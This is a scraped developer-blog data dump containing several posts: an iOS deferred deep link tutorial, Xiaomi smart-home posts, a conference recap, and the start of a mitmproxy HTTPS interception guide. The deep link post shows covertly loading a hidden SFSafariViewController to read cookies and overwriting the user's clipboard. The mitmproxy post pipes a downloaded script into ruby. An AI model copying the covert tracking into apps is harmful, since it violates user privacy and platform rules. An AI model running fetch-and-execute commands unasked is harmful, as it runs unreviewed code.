Image This article is very long and took me a long time to organize and produce. Thank you for your patience in reading.Full GitHub example download:References: Draggable view controller? Interactive view controller! Systematic study of iOS animations part four: View controller transition animations Systematic study of iOS animations part five: Using UIViewPropertyAnimator Using UIPresentationController to write a simple and beautiful bottom pop-up control (Simply for Present animation effects, you can directly use this)For elegant code encapsulation references: Swift: https://github.com/Kharauzov/SwipeableCards Objective-C: https://github.com/saiday/DraggableViewControllerDemoIf you have any questions or comments, feel free to contact me.===本文中文版本===This article was first published in Traditional Chinese on Medium ➡️ View Here" }, { "title": "iOS Deferred Deep Link Implementation (Swift)", "url": "/posts/b08ef940c196/", "categories": "ZRealm, Dev.", "tags": "deeplink, ios-app-development, swift, universal-links, app-store", "date": "2019-11-11 22:34:57 +0800", "snippet": "iOS Deferred Deep Link Implementation (Swift)Build an app transition flow that adapts to all scenarios without interruption[2022/07/22] Update on iOS 16 Upcoming ChangesStarting from iOS ≥ 16, when...", "content": "iOS Deferred Deep Link Implementation (Swift)Build an app transition flow that adapts to all scenarios without interruption[2022/07/22] Update on iOS 16 Upcoming ChangesStarting from iOS ≥ 16, when an app actively reads the clipboard without user-initiated action, a prompt will appear asking for permission. Users need to allow this for the app to access clipboard information.UIPasteBoard’s privacy change in iOS 16[2020/07/02] Update In response to iOS 14 updates, a prompt will appear when reading the clipboard. For implementation details, please refer to this article.IrrelevantFrom graduating and completing military service to now working aimlessly for nearly three years, my growth has plateaued, and I have settled into a comfort zone. Fortunately, a decision to resign sparked a new beginning.While reading “Designing Your Life” and reorganizing my life plan, I reflected on my work and life. Despite not having exceptional technical skills, sharing on Medium has allowed me to enter a state of “flow” and gain a lot of energy. Recently, a friend asked me about Deep Link issues, so I organized my research findings and replenished my energy in the process!ScenariosFirst, let’s explain the practical application scenarios. When a user with the app installed clicks on a URL link (from Google search, Facebook post, Line link, etc.), the app should directly display the target screen. If the app is not installed, it should redirect to the App Store for installation. After installing and opening the app, it should be able to reproduce the desired screen from before. Tracking data for app downloads and openings. We want to know how many people actually download and open the app through a promotional link. Special event entrances, such as being able to receive rewards by downloading and opening through a specific URL. Support:iOS ≥ 9What is the Difference Between Deferred Deep Link and Deep Link?Pure Deep Link itself:As seen, the iOS Deep Link mechanism itself only determines if the app is installed. If it is, the app opens; if not, it does nothing.First, we need to add a prompt to redirect to the App Store if the app is not installed:The URL Scheme part is controlled by the system and is generally used for internal app calls and rarely exposed publicly. If the trigger point is in an area you cannot control (e.g., Line link), it cannot be handled.If the trigger point is on your own webpage, you can use some tricks to handle it. Please refer to this link:<html><head> <title>Redirect...</title> <meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\" /> <script> var appurl = 'marry://open'; var appstore = 'https://apps.apple.com/tw/app/%E7%B5%90%E5%A9%9A%E5%90%A7-%E6%9C%80%E5%A4%A7%E5%A9%9A%E7%A6%AE%E7%B1%8C%E5%82%99app/id1356057329'; var timeout; function start() { window.location = appurl; timeout = setTimeout(function(){ if(confirm('Install Marry App now?')){ document.location = appstore; } }, 1000); } window.onload = function() { start() } </script></head><body></body></html>The general logic is to call the URL Scheme, set a Timeout, and if the page has not redirected within the set time, assume that the Scheme cannot be called and redirect to the APP Store page (but the experience is still not good as there will still be a URL error prompt, just with added automatic redirection).Universal Link itself is a webpage. If there is no redirection, it defaults to being presented in a web browser. Websites with web services can choose to directly jump to the web browser for those services, or directly redirect to the APP Store page.Websites with web services can add the following code within <head></head>:<meta name=\"apple-itunes-app\" content=\"app-id=APPID, app-argument=page parameter\">When browsing the webpage version on iPhone Safari, an APP installation prompt will appear at the top, along with a button to open the page using the APP; the app-argument parameter is used to pass in page values and transmit them to the APP.Flowchart of adding “redirect to APP Store if not available”Enhancing Deep Link APP-side processing:Of course, what we want is not just “open the APP when the user has it installed,” but also to link the referral information with the APP, so that the APP automatically displays the target page when opened.The URL Scheme method can be handled in the AppDelegate’s func application(_ application: UIApplication, open url: URL, sourceApplication: String?, annotation: Any) -> Bool:func application(_ application: UIApplication, open url: URL, sourceApplication: String?, annotation: Any) -> Bool { if url.scheme == \"marry\",let params = url.queryParameters { if params[\"type\"] == \"topic\" { let VC = TopicViewController(topicID:params[\"id\"]) UIApplication.shared.keyWindow?.rootViewController?.present(VC,animated: true) } } return true}The Universal Link method is handled in the AppDelegate’s func application(_ application: UIApplication, continue userActivity: NSUserActivity, restorationHandler: @escaping ([Any]?) -> Void) -> Bool:extension URL { /// test=1&a=b&c=d => [\"test\":\"1\",\"a\":\"b\",\"c\":\"d\"] /// Parse the URL query into a [String: String] array public var queryParameters: [String: String]? { guard let components = URLComponents(url: self, resolvingAgainstBaseURL: true), let queryItems = components.queryItems else { return nil } var parameters = [String: String]() for item in queryItems { parameters[item.name] = item.value } return parameters } }First, an extension method queryParameters for URL is provided to easily convert URL Queries into a Swift Dictionary.func application(_ application: UIApplication, continue userActivity: NSUserActivity, restorationHandler: @escaping ([Any]?) -> Void) -> Bool { if userActivity.activityType == NSUserActivityTypeBrowsingWeb, webpageURL = userActivity.webpageURL { /// If it is a universal link URL source... let params = webpageURL.queryParameters if params[\"type\"] == \"topic\" { let VC = TopicViewController(topicID:params[\"id\"]) UIApplication.shared.keyWindow?.rootViewController?.present(VC,animated: true) } } return true }Done!What else is missing?It looks perfect now, we’ve handled all the scenarios we might encounter, so what else is missing?Entering the main point of this articleWhat is a Deferred Deep Link? It is to extend our Deep Link to retain referral data even after installing from the APP Store.According to Android engineers, Android itself has this feature, but it is not supported on iOS, and the method to achieve this is not user-friendly. Keep reading to find out more.Deferred Deep LinkIf you don’t want to spend time doing it yourself, you can directly use branch.io or Firebase Dynamic Links. The method introduced in this article is the way Firebase uses.There are two ways to achieve the effect of Deferred Deep Link:One is to calculate a hash value based on user device, IP, environment, etc., store data on the server on the web side; when the APP is opened after installation, calculate in the same way, if the values are the same, retrieve the data (branch.io’s method).The other is the method introduced in this article, similar to Firebase’s approach; using the iPhone clipboard and Safari and APP Cookie sharing mechanism, which means storing data in the clipboard or Cookie, and then reading it out for use after the APP is installed.After clicking “Open,” your clipboard will be automatically overwritten with JavaScript to copy and redirect to relevant information: https://XXX.app.goo.gl/?link=https://XXX.net/topicID=1&type=topicThose who have used Firebase Dynamic Links must be familiar with this opening redirect page. Once you understand the principle, you will know that this page cannot be removed from the process!Additionally, Firebase does not provide style modifications.SupportFirst, let’s talk about the support issue; as mentioned earlier, it is “not user-friendly”!If the APP only considers iOS ≥ 10, it is much easier. The APP implements clipboard access, the Web uses JavaScript to overwrite information to the clipboard, and then redirects to the APP Store for download.iOS = 9 does not support JavaScript automatic clipboard but supports Safari and APP SFSafariViewController “Cookie sharing method”Also, the APP needs to secretly add SFSafariViewController in the background to load the Web, and then obtain the Cookie information stored when clicking the link from the Web. The process is cumbersome & link clicks are limited to Safari browser.According to the official documentation, iOS 11 can no longer access the user’s Safari Cookie. If you have such a requirement, you can use SFAuthenticationSession, but this method cannot be executed stealthily in the background, and a confirmation window will pop up each time before loading.SFAuthenticationSession Prompt Also, App Review does not allow placing SFSafariViewController where users cannot see it. (It’s not easy to be noticed by triggering programmatically and then adding it as a subview.)Get StartedLet’s start with something simple, considering users with iOS ≥ 10, simply transfer information using the iPhone clipboard.Web End:We customized our own page similar to Firebase Dynamic Links, using the clipboard.js package to copy the information we want to bring to the app when users click “Go Now” to the clipboard (marry://topicID=1&type=topic), and then use location.href to redirect to the App Store page.App End:Read the clipboard value in AppDelegate or the main UIViewController:let pasteData = UIPasteboard.general.stringIt is recommended to wrap the information using the URL Scheme method here for easy identification and data decryption:if let pasteData = UIPasteboard.general.string, let url = URL(string: pasteData), url.scheme == \"marry\", let params = url.queryParameters { if params[\"type\"] == \"topic\" { let VC = TopicViewController(topicID: params[\"id\"]) UIApplication.shared.keyWindow?.rootViewController?.present(VC, animated: true) }}Finally, after completing the action, use UIPasteboard.general.string = “” to clear the information in the clipboard.Get Started — Support for iOS 9 VersionHere comes the tricky part, supporting the iOS 9 version. As mentioned earlier, due to the lack of clipboard support, we need to use the Cookie Exchange Method.Web End:Handling the web end is relatively straightforward, just change it so that when the user clicks “Go Now,” the information we want to bring to the app is stored in a Cookie (marry://topicID=1&type=topic), and then use location.href to redirect to the App Store page.Here are two pre-packaged JavaScript methods for handling Cookies to speed up development:/// name: Cookie name/// val: Cookie value/// day: Cookie expiration period, default is 1 day/// EX1: setcookie(\"iosDeepLinkData\",\"marry://topicID=1&type=topic\")/// EX2: setcookie(\"hey\",\"hi\",365) = valid for one yearfunction setcookie(name, val, day) { var exdate = new Date(); day = day || 1; exdate.setDate(exdate.getDate() + day); document.cookie = \"\" + name + \"=\" + val + \";expires=\" + exdate.toGMTString();}/// getCookie(\"iosDeepLinkData\") => marry://topicID=1&type=topicfunction getCookie(name) { var arr = document.cookie.match(new RegExp(\"(^| )\" + name + \"=([^;]*)(;|$)\")); if (arr != null) return decodeURI(arr[2]); return null;}App End:Here comes the most troublesome part of this document.As mentioned earlier, we need to secretly load an SFSafariViewController in the background in the main UIViewController to implement the principle.Another pitfall: The issue of secretly loading is that if the size of the View of iOS ≥ 10 SFSafariViewController is set to less than 1, the opacity is less than 0.05, and it is set to isHidden, the SFSafariViewController will not load. p.s iOS = 10 supports both Cookies and Clipboard simultaneously.https://stackoverflow.com/questions/39019352/ios10-sfsafariviewcontroller-not-working-when-alpha-is-set-to-0/39216788My approach here is to place a UIView above the UIViewController of the main page with any height, align it to the bottom of the main UIView, then drag IBOutlet (sharedCookieView) to the Class; in viewDidLoad(), initialize the SFSafariViewController and add its View to sharedCookieView, so it actually displays and loads, just off-screen where the user can’t see 🌝.Where should the URL of SFSafariViewController point to?Similar to sharing a page on the web, we need to create a separate page for reading Cookies, and place both pages under the same domain to avoid cross-domain Cookie issues, the page content will be provided later.@IBOutlet weak var SharedCookieView: UIView!override func viewDidLoad() { super.viewDidLoad() let url = URL(string:\"http://app.marry.com.tw/loadCookie.html\") let sharedCookieViewController = SFSafariViewController(url: url) VC.view.frame = CGRect(x: 0, y: 0, width: 200, height: 200) sharedCookieViewController.delegate = self self.addChildViewController(sharedCookieViewController) self.SharedCookieView.addSubview(sharedCookieViewController.view) sharedCookieViewController.beginAppearanceTransition(true, animated: false) sharedCookieViewController.didMove(toParentViewController: self) sharedCookieViewController.endAppearanceTransition()}sharedCookieViewController.delegate = selfclass HomeViewController: UIViewController, SFSafariViewControllerDelegateThis Delegate needs to be added to capture the callback after loading is complete.We can use:func safariViewController(_ controller: SFSafariViewController, didCompleteInitialLoad didLoadSuccessfully: Bool) {Capture the load completion event in the method.At this point, you might think that reading the cookies in didCompleteInitialLoad completes the process!I couldn’t find a method to read SFSafariViewController cookies here, and using internet methods to read them always returns empty. Or you may need to interact with the page content using JavaScript, have JavaScript read the cookies and return them to the UIViewController.Tricky URL Scheme MethodSince iOS doesn’t know how to get shared cookies, we can directly let the “cookie-reading page” help us “read the cookies”.The JavaScript method for handling cookies provided earlier with the getCookie() function is used here. Our “cookie-reading page” is a blank page (users can’t see it anyway), but in the JavaScript part, we need to read the cookies after the body onload event:<html><head> <title>Load iOS Deep Link Saved Cookie...</title> <script> function checkCookie() { var iOSDeepLinkData = getCookie(\"iOSDeepLinkData\"); if (iOSDeepLinkData && iOSDeepLinkData != '') { setcookie(\"iOSDeepLinkData\", \"\", -1); window.location.href = iOSDeepLinkData; /// marry://topicID=1&type=topic } } </script></head><body onload=\"checkCookie();\"></body></html>The actual principle is summarized as follows: add an SFSafariViewController to HomeViewController viewDidLoad to secretly load the loadCookie.html page. The loadCookie.html page checks and reads the previously stored cookies, clears them if found, and then uses window.location.href to trigger the URL Scheme mechanism.So the corresponding callback processing will return to func application(_ application: UIApplication, open url: URL, sourceApplication: String?, annotation: Any) in AppDelegate.Done! Summary:If you find it cumbersome, you can directly use branch.io or Firebase Dynamic without reinventing the wheel. Here, it’s because of interface customization and some complex requirements that we have to build it ourselves.iOS 9 users are already very rare, so you can ignore it if it’s not necessary; using the clipboard method is fast and efficient, and using the clipboard means you don’t have to limit the links to be opened in Safari!If you have any questions or suggestions, feel free to contact me.===本文中文版本===This article was first published in Traditional Chinese on Medium ➡️ View Here" }, { "title": "Using 'Shortcuts' Automation with Mi Home Smart Home on iOS ≥ 13.1", "url": "/posts/21119db777dd/", "categories": "ZRealm, Life.", "tags": "Mi Home, ios-13, siri, siri-shortcut, life", "date": "2019-09-26 22:23:36 +0800", "snippet": "Using ‘Shortcuts’ Automation with Mi Home Smart Home on iOS ≥ 13.1Automate operations directly using the built-in Shortcuts app on iOS ≥ 13.1IntroductionIn early July this year, I bought two smart ...", "content": "Using ‘Shortcuts’ Automation with Mi Home Smart Home on iOS ≥ 13.1Automate operations directly using the built-in Shortcuts app on iOS ≥ 13.1IntroductionIn early July this year, I bought two smart devices: the Mi Home Desk Lamp Pro and the Mi Home LED Smart Desk Lamp. The difference is that one supports HomeKit, and the other only supports Mi Home. At that time, I wrote an article titled “First Experience with Smart Home — Apple HomeKit & Xiaomi Mi Home” which mentioned how to achieve smart functions for leaving and arriving home without HomePod/AppleTV/iPad. The steps were a bit complicated.This time, with iOS ≥ 13.1 (note that it is only available after 13.1), the built-in “Shortcuts” app (if you can’t find it, please download it from the Store) supports automation. If IFTTT and Mi Home smart devices are used, there’s no need to use third-party apps anymore! p.s. If you have HomePod, Apple TV, or iPad, you don’t need to read this article; you can directly set the device as the home hub!Achieved EffectYou will receive a shortcut execution notification when entering or leaving the set area, and it will automatically execute upon clicking.How to Use1. First, open the Mi Home appSwitch to “My” -> “Smart” Here, it is assumed that you have already added the device to Mi Home.Select “Manual Execution” Here, let me mention why not directly use Mi Home’s “Leave or Arrive at a Place”. First, GPS used in mainland China has deviations which Xiaomi has not corrected. Second, it can only set locations with landmarks on the map, and there are few Taiwan landmarks on the mainland Gaode map.Scroll down to the “Smart Devices” section, add the devices and actions to be operatedClick “Continue to Add” to add all the devices to be operatedFor example, in the “Leave Home” mode, I want to turn off the fan and lights and turn on the camera when leaving home.Click the top right “Save” and enter the name of this smart operationReturn to the list, click “Add to Siri”Click “Add to Siri” next to the smart operation you want to addInput “Command when calling Siri” -> “Add to Siri”Note! The command must not conflict with built-in iOS commands!2. Open the “Siri Shortcuts” APPSwitch to the “Automation” tab and click the “+” in the upper right corner If there is no “Automation” tab, please check if your iOS version is higher than 13.1.Select “Create Personal Automation”Choose the type “Arrive” or “Leave”Set “Location”Search for a location or use the current location, click “Done”You can set the time range for automatic execution at the bottom, click “Next” in the upper right cornerSince leaving home and arriving home are events that need to be detected all day long, we won’t set a time range for execution here!Click “Add Action”Select “Scripting”Scroll to the “Shortcuts” section, select “Run Shortcut”Click the “Shortcut” sectionFind the “Command when calling Siri” set in Mi Home “Add to Siri”, and select itClick “Done” in the upper right cornerThe newly added automation will appear on the home page!Done!Actual Execution ResultWhen leaving or entering the set address range, the phone or Apple Watch will receive a notification to execute the shortcut, and you can click to execute! 1. There is a 100-meter error in the GPS sensing range 2. The so-called “automation” is just an automatic notification for you to press execute, it does not really execute actions in the background To solve the above two pain points, you can only do what was mentioned at the beginning of the article, buy a HomePod or find an Apple TV/iPad as the home hub.On iPhone:Execution notificationClick to “Execute”Please note that it will require unlocking the phone first.Execution failure will also provide feedback!Sometimes Mi Home device network issues will cause execution failure.On Apple Watch:Click to executeUnlike the native IFTTT app, the strength lies in its ability to execute notifications on the watch.(IFTTT is purely a notification, you still need to take out your phone to execute)Besides thatUsing Siri to ExecuteSince the Mi Home smart operation scenario has been added to Siri, you can also call Siri to perform actions! One step closer to a smart life!Further Reading First Experience with Smart Home — Apple HomeKit & Xiaomi Mi Home (Mi Home Smart Camera and Mi Home Smart Desk Lamp, HomeKit Setup Tutorial) New Additions to Xiaomi Smart Home (AI Speaker, Temperature and Humidity Sensor, Scale 2, DC Inverter Fan) Mi Home APP / Xiao Ai Speaker Region Issues [Advanced] Demonstration of Using Raspberry Pi as HomeBridge Host to Connect All Mi Home Appliances to HomeKitIf you have any questions or comments, feel free to contact me.===本文中文版本===This article was first published in Traditional Chinese on Medium ➡️ View Here" }, { "title": "New Xiaomi Smart Home Purchases", "url": "/posts/bcff7c157941/", "categories": "ZRealm, Life.", "tags": "Xiaomi, Mi Home, life, Home Appliances, unboxing", "date": "2019-09-26 21:16:42 +0800", "snippet": "New Xiaomi Smart Home PurchasesAI Speaker, Temperature and Humidity Sensor, Scale 2, DC Inverter Fan Usage ExperienceGetting StartedFollowing the previous post “Smart Home First Experience — Apple ...", "content": "New Xiaomi Smart Home PurchasesAI Speaker, Temperature and Humidity Sensor, Scale 2, DC Inverter Fan Usage ExperienceGetting StartedFollowing the previous post “Smart Home First Experience — Apple HomeKit & Xiaomi Mi Home” on how to use Xiaomi smart home products; I continued to buy a few more Xiaomi home products and tried to make all home appliances smart… I can only say it’s a pitfall. Initially, I just wanted to buy a desk lamp because Xiaomi’s design is beautiful. I researched its smart features and fell into the pit!New Purchase — Xiaomi AI SpeakerPrice: NT$ 1,495Features: Can voice control all connected Mi Home smart devices Taiwan region offers 3 months of KKBOX membership Powerful voice intelligence; compared to Siri, Siri = 3-year-old child¶In addition to basic voice assistant functions (check weather, news, information, control appliances, play music…)¶It also has many extended skills (ask about TV shows, play mini-games, chat, tell jokes, act as a maid, yes, it talks to you in a maid’s tone!!)¶Supports custom functions (custom words, corresponding actions) Additionally, it can infer and suggest actions, unlike Siri which only answers the weather question; Xiaomi AI Speaker might ask if you need a reminder to bring an umbrella, more considerate and warm. 360-degree sound reception and playback, sufficient volume; very responsive and accurate when called. Can directly act as a Bluetooth music speakerDisadvantages: When used as a Bluetooth speaker, there is a serious 1-2 second delay when watching videos; this is quite a serious flaw, and there is no solution found on Chinese forums, the official stance is indifferent, it seems to be a hardware issue. Does not support Spotify / Apple Music, for non-KKBOX users like me, after the 3-month free period, if you don’t want to spend money, you can only switch to the mainland region to use QQ Music. Unlike HomePod, it does not support the home hub function. I initially expected to use the Xiaomi speaker as the smart home hub, so when I get home, Mi Home detects the Xiaomi speaker and can automatically execute corresponding actions (like Apple’s HomePod + HomeKit); it seems not possible! Requires an additional Xiao Ai Speaker APP Must set the same region as the Mi Home APP, my Mi Home APP is set to mainland China (due to more features), so Xiao Ai Speaker must also be set to mainland ChinaIn summary, for daily use, it’s just a Bluetooth speaker that can play music, occasionally asking Xiao Ai Speaker to remind me of the time… that’s it, actually Siri can do that; not being able to use it as a Bluetooth speaker for the computer is really painful for me, but I have to say its voice functions are really smart and impressive! You can buy it for fun.New Purchase — Mi Home Bluetooth Temperature and Humidity SensorSmall item, NT$ 365You need to buy an additional AAA battery to install; the official claims the battery life can reach one year, the round and compact design with magnetic hanging makes it convenient to take down and play with anytime, the dual-display screen allows you to quickly grasp the current temperature and humidity.APP Temperature RecordOnly supports Bluetooth connection, so if the phone is out of Bluetooth range, it cannot read the data; unless you buy a Bluetooth gateway or other Mi Home devices that support the Bluetooth gateway function.List of devices supporting Bluetooth gateway from official documentsGenerally, devices that support both WiFi and Bluetooth are supported, but Xiaomi AI Speaker does not!!And I discovered something amazing, which is Mi Home DC Inverter Fan actually supports it, WTF!!!; so currently I use the Mi Home fan to transmit the temperature and humidity sensor information to the internet via WiFi.It’s really weird… Xiaomi AI Speaker, desk lamp, table lamp, camera do not support the Bluetooth gateway function, but the fan does! *Not sure if it’s only the temperature and humidity sensor that can do thisAdditional note: the temperature and humidity sensor will not keep sending push notificationsPush notifications for too high temperature or too humid messages (but these temperature and humidity levels are very normal in Taiwan…)How to turn off:Go to “My” -> Top right corner “Settings” -> Device notifications -> Find Mijia Bluetooth Temperature and Humidity Meter -> Turn offAfter turning it off, you will no longer receive push notifications!New Purchase — Scale 2It’s just a scale, NT$ 395In addition to recording weight on the app, it also has functions like weighing objects and balance tests… but it’s mainly used for weighing; it has a beautiful appearance and can enhance the quality of your home even when not in use!The scale requires a separate Xiaomi Health app. Open the app while weighing to sync the weight records.Xiaomi Health AppNew Purchase — DC Inverter FanThe most satisfying appliance in this purchase, NT$ 1995Basic functions of the fanThe left and right swing angle is 120 degrees, which is quite large. The wind power adjustment supports 1–100 levels, allowing you to adjust the wind power as you like. My favorite is the “natural wind” mode because I like direct blowing but often feel uncomfortable after a while. This natural wind mode allows me to keep the direct blowing mode without discomfort!Appearance designIt maintains Xiaomi’s simple white design. Personally, I don’t like fans that are too metallic (they feel dirty). Xiaomi fans are very light and clean, and they look comfortable even when not in use.Smart featuresAfter adding it to the Mijia app, you can control all parameters (mode, switch, wind power, angle) from the app. You can also set periodic timing (e.g., turn off at 7:00 AM from Monday to Friday) and link with Mijia devices (e.g., automatically turn on when you get home, automatically turn on when the temperature exceeds 30 degrees) to play with smart home functions.Additionally, I found that it can act as a Bluetooth gateway to help the Mijia Bluetooth Temperature and Humidity Meter transmit data. *Not sure if only the temperature and humidity meter can do thisCurrent Equipment Summary Mijia Smart Camera PTZ Version 1080P (Supports: Mijia) Mijia Desk Lamp Pro (Supports: Apple HomeKit, Mijia) Mijia LED Smart Desk Lamp (Supports: Mijia) Xiaomi AI Speaker Mijia Bluetooth Temperature and Humidity Sensor Xiaomi Scale 2 Mijia DC Inverter FanSummaryThe above is a summary of the new purchases. There is still a long way to go to reach the ideal (automatically turn on the air conditioner when the temperature is too high, the fan follows people, turn on the lights when coming home, turn off the lights and turn on the camera when leaving home, turn on the dehumidifier when the humidity is too high). It is even very rugged… you need to know how to modify circuits, and I found that my dehumidifier does not have a return function, and the air conditioner is also an old model. Many Mijia devices are not sold in Taiwan (e.g., universal remote control). I originally wanted to set up a smart home, but after thinking about it, it is not very useful. Currently, I am continuing to research what else can be made smart!Further Reading Smart Home First Experience — Apple HomeKit & Xiaomi Mijia (Mijia Smart Camera and Mijia Smart Desk Lamp, HomeKit Setup Tutorial) Using “Shortcuts” Automation Feature with iOS ≥ 13.1 and Mijia Smart Home (Directly use the built-in Shortcuts app in iOS ≥ 13.1 for automation) Mijia APP / Xiao Ai Speaker Region Issues [Advanced] Demonstration of Using Raspberry Pi as HomeBridge Host to Connect All Mijia Appliances to HomeKitIf you have any questions or comments, feel free to contact me.===本文中文版本===This article was first published in Traditional Chinese on Medium ➡️ View Here" }, { "title": "What was the experience of iPlayground 2019 like?", "url": "/posts/4079036c85c2/", "categories": "ZRealm, Dev.", "tags": "iplayground, iplayground2019, ios-app-development, swift, taiwan-ios-conference", "date": "2019-09-22 21:47:18 +0800", "snippet": "What was the experience of iPlayground 2019 like?Hot participation experience of iPlayground 2019About the eventLast year it was held in mid-October, and I also started running Medium to record my ...", "content": "What was the experience of iPlayground 2019 like?Hot participation experience of iPlayground 2019About the eventLast year it was held in mid-October, and I also started running Medium to record my life in early October last year; combining the UUID topic I heard and the participation experience, I also wrote an article; this year I continue to write my experience to gain popularity!iPlayground 2019 (This time it was also subsidized by the company for corporate tickets)Compared to the first edition in 2018, this year has seen significant improvements in all aspects!First, the venue. Last year it was in a basement conference hall, the space was small and felt oppressive, and it was not easy to use computers in the lecture rooms; this year it was held at the NTU Boya Hall, the venue was large and new, not crowded, and the classrooms had tables and sockets, making it convenient to use personal computers!In terms of the agenda, in addition to domestic experts, this time foreign speakers were also invited to share in Taiwan; among them, the most popular was undoubtedly Wei Wang; this year also saw the first inclusion of workshops with hands-on teaching, but the spots were limited, so you had to be quick… I missed it while eating and chatting.Sponsor booths and Ask the Speaker area were more convenient for interaction due to the larger venue and more activities; from the iChef booth #iCHEFxiPlayground I got a set of eco-friendly straws and dorayaki, from the Dcard booth I got a set of stickers and an eco-friendly cup sleeve again this year, plus a nihilistic quote wet wipe, from the 17 Live booth I filled out a questionnaire to draw Airpods 2, at the [ weak self ] Podcast booth I got stickers, and there were also booths from Grindr, CakeResume, and Bitrise to interact with. Here is a not comprehensive photo of the loot.Incomplete LootFood and After Party, both days had exquisite lunch boxes, iced coffee, and tea drinks available all day without limit. However, last year had more of an After Party vibe, like listening to big names tell stories at a bar, which was very interesting. This year felt more like an afternoon tea (still had alcohol, delicious siu mai, and desserts!). We mingled on our own, but I actually made new friends this year.Must-have for foodies, bento photoTop 5 Session Takeaways1. Wei Wang (Cat God) on Network Request Component DesignThis part resonated with me because our project does not use third-party network libraries; instead, we encapsulate methods ourselves. Many of the design patterns and issues the speaker mentioned are also areas we need to optimize and refactor. As the speaker said: “Garbage needs to be sorted, and so does code…”I need to go back and study this thoroughly. I will do the sorting <( _ _ )>p.s. I didn’t get the KingFisher sticker QQ2. Japanese expert kishikawa katsumiIntroduced the new method UICollectionViewCompositionalLayout available in iOS ≥ 13, which allows us to avoid subclassing UICollectionViewLayout or using CollectionView Cell wrapping CollectionView to achieve complex layouts as before.This also resonated with me because our app uses the latter method to achieve the desired design style. The pinnacle was a CollectionView Cell wrapping a CollectionView, which in turn wrapped another CollectionView (three layers), making the code messy and hard to maintain.Besides introducing the structure and usage of UICollectionViewCompositionalLayout, the speaker also created a project following this model, allowing apps before iOS 12 to support the same effects — IBPCollectionViewCompositionalLayout. Amazing!3. Ethan Huang on Developing Apple Watch Apps with SwiftUIPreviously wrote an article “ Let’s Make an Apple Watch App! “ based on watchOS 5 using traditional methods. Didn’t expect that now we can develop with SwiftUI!Apple Watch OS 6 supports generations 1-5, so there are fewer version issues. Practicing SwiftUI with watch apps is a good starting point (relatively simplified); will find time to revamp.p.s. Didn’t expect watchOS developers to be so marginalized QQ. Personally, I find it quite fun and hope more people can join!4. TinXie and Yang Xiaomei on App Security IssuesRegarding the security issues of the app itself, I had never seriously studied it, with the inherent belief that “Apple is very closed and secure!” After listening to the two speakers’ presentations, I realized how fragile it is and understood the core concept of app security: “When the cost of cracking exceeds the cost of protection, the app is secure.”There is no guaranteed secure app, only increasing the difficulty of cracking to deter attackers!Besides learning about the paid app Reveal, I also discovered the open-source free Lookin for viewing app UI. We often use Reveal; even if not for others, it’s convenient for debugging our own UI issues!Additionally, regarding connection security, I recently published an article “ The app uses HTTPS transmission, but the data was still stolen. “, using mitmproxy to perform a man-in-the-middle attack by swapping the root CA. The speakers’ explanation of man-in-the-middle attacks, principles, and protection methods not only verified the correctness of my content but also deepened my understanding of this technique!It also broadened my horizons… knowing that there are jailbreak plugins that can directly intercept network requests without even needing certificate swapping.5. Ding Peiyao on Optimizing Compilation SpeedThis has also been a long-standing issue for us, the compilation is very slow; sometimes when making minor UI adjustments, it can be really frustrating. Just adjusting by 1pt, then waiting, then seeing the result, then adjusting by another 1pt, then waiting again, and then adjusting back… while(true)… It’s maddening!The attempts and experience sharing mentioned by the speaker are really worth going back to study and applying to our own projects! There are many other sessions (for example: things about colors A_A, I have also encountered issues with colors before) But due to scattered notes, personal lack of related experience, or missing the session All content can be waited for iPlayground 2019 to release the video replay (for recorded sessions), or refer to the official HackMD collaborative notes.Soft GainsBesides the technical gains, I personally gained more “ soft gains “ than last year. For the first time, I met Ethan Huang in person, and while discussing the Apple Watch development ecosystem, I also unintentionally exchanged a few words with the great Cat God. Additionally, I met many new developers, colleagues Frank and George Liu’s classmate Taihsin, Spock Xue, Crystal Liu, Nia Fan, Alice, Ada, old classmate Peter Chen, old colleague Hao Ge Qiu Yuhao… and many other new friends!yes! More highlights can be found on Twitter #iplaygroundThanks Thanks to all the staff for their hard work and the speakers for their sharing, making these two days full of gains! Great job! Thank you!If you have any questions or comments, feel free to contact me.===本文中文版本===This article was first published in Traditional Chinese on Medium ➡️ View Here" }, { "title": "The APP uses HTTPS for transmission, but the data was still stolen.", "url": "/posts/46410aaada00/", "categories": "ZRealm, Dev.", "tags": "mitmproxy, man-in-the-middle, ios, ios-app-development, hacking", "date": "2019-09-20 18:01:01 +0800", "snippet": "The APP uses HTTPS for transmission, but the data was still stolen.Using mitmproxy on iOS+MacOS to perform a Man-in-the-middle attack to sniff API transmission data and how to prevent it?Introducti...", "content": "The APP uses HTTPS for transmission, but the data was still stolen.Using mitmproxy on iOS+MacOS to perform a Man-in-the-middle attack to sniff API transmission data and how to prevent it?IntroductionRecently, we just held an internal CTF competition at the company. While brainstorming for topics, I recalled a project from my university days when I was working on backend (PHP) development. It was a point collection APP with a task list, and upon completing the trigger conditions, it would call an API to earn points. The boss thought that calling the API with HTTPS encrypted transmission was very secure — until I demonstrated a Man-in-the-middle attack, directly sniffing the transmission data and forging API calls to earn points…In recent years, with the rise of big data, web crawlers are everywhere; the battle between crawlers and anti-crawlers is becoming increasingly intense, with various tricks being used. It’s a constant game of cat and mouse!Another target for crawlers is the APP’s API. If there are no defenses, it’s almost like leaving the door wide open; it’s not only easy to operate but also clean in format, making it harder to identify and block. So if you’ve exhausted all efforts to block on the web end and data is still being crawled, you might want to check if the APP’s API has any vulnerabilities.Since I didn’t know how to incorporate this topic into the CTF competition, I decided to write a separate article as a record. This article is just to give a basic concept — HTTPS can be decrypted through certificate replacement and how to enhance security to prevent it. The actual network theory is not my strong suit and has been forgotten, so if you already have a concept of this, you don’t need to spend time reading this article, or just scroll to the bottom to see how to protect your APP!Practical OperationEnvironment: MacOS + iOS Android users can directly download Packet Capture (free), iOS users can use Surge 4 (paid) to unlock the Man-in-the-middle attack feature, and MacOS users can also use another paid software, Charles. This article mainly explains how to use the free mitmproxy on iOS. If you have the above environment, you don’t need to go through this trouble. Just open the APP on your phone, mount the VPN, and replace the certificate to perform a Man-in-the-middle attack! (Again, please scroll to the bottom to see how to protect your APP!)[2021/02/25 Update]: Mac has a new free graphical interface program (Proxyman) that can be used, which can be paired with this article for reference in the first part.Install mitmproxyDirectly use brew to install:brew install mitmproxyInstallation complete!p.s. If you encounter brew: command not found, please first install the brew package management tool:/usr/bin/ruby -e \"$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)\"Using mitmproxyAfter installation, enter the following command in Terminal to activate:mitmproxyStartup SuccessfulEnsure the phone and Mac are on the same local network & obtain the Mac’s IP addressMethod (1) Mac connects to WiFi, 